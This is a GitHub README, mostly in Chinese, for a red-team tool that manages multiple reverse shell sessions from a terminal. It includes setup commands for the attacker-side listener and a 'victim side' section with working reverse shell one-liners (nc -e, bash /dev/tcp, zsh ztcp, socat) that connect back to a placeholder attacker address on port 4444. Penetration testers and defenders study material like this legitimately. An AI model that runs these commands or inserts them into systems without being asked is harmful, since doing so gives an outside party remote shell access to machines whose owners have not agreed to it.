WangYihang/Reverse-Shell-Manager

GitHub: WangYihang/Reverse-Shell-Manager

一个基于终端的多反弹Shell会话管理工具,帮助渗透测试人员集中管理和切换多个反向连接。

Stars: 246 | Forks: 60

# Reverse Shell Manager ``` A multiple reverse shell sessions/clients manager via terminal ``` #### :heavy_exclamation_mark: :heavy_exclamation_mark: :heavy_exclamation_mark: **本项目已停止继续开发。** **本项目的下一代版本 (Platypus) 已在 https://github.com/WangYihang/Platypus 发布** #### [**Platypus**](https://github.com/WangYihang/Platypus) * 更稳定 * 更多功能 * 将普通的反向 shell 会话升级为完全交互式会话 * 反向 shell 即服务 (Reverse shell as a Service) * RESTful API * ... #### 攻击者端 ``` git clone https://github.com/WangYihang/Reverse-Shell-Manager cd Reverse-Shell-Manager ``` ``` pip install poetry poetry install ``` ``` poetry run python Reverse-Shell-Manager.py 0.0.0.0 4444 ``` #### 受害者端 ``` nc -e /bin/bash 1.3.3.7 4444 bash -c 'bash -i >/dev/tcp/1.3.3.7/4444 0>&1' zsh -c 'zmodload zsh/net/tcp && ztcp 1.3.3.7 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:1.3.3.7:4444 ``` ``` nc.exe -e /bin/bash 1.3.3.7 4444 ``` #### 简单示例视频 [![asciicast](https://asciinema.org/a/143640.png)](https://asciinema.org/a/143640) #### YouTube 示例 #### 待办事项 - [x] 添加项到 crontab - [x] 从 crontab 中删除项 - [ ] 创建一个类来管理 Master - [ ] select/epoll #### Bug - [x] 受害者已连接但未添加到在线列表中 - [ ] socket 在 rece() 时卡住 #### 许可证 ``` THE DRINKWARE LICENSE wrote this file. As long as you retain this notice you can do whatever you want with this stuff. If we meet some day, and you think this stuff is worth it, you can buy me the following drink(s) in return. Red Bull JDB Coffee Sprite Cola Harbin Beer etc Wang Yihang ```
标签:Bash, C2工具, Netcat, Platypus, Poetry, Python, Socket编程, 会话管理, 反向Shell, 攻击路径可视化, 数据展示, 无后门, 红队, 网络安全, 远程控制, 逆向工具, 隐私保护, 黑客工具